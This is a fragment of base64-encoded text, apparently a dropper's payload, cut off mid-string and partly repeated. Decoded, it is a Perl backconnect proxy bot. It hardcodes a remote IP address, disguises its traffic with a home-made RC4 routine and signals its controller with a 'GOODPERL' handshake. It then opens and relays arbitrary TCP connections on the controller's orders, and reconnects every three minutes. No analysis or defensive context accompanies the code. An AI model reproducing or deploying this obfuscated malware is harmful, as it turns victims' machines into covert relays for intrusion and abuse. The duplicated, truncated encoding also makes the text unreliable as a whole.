BuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAo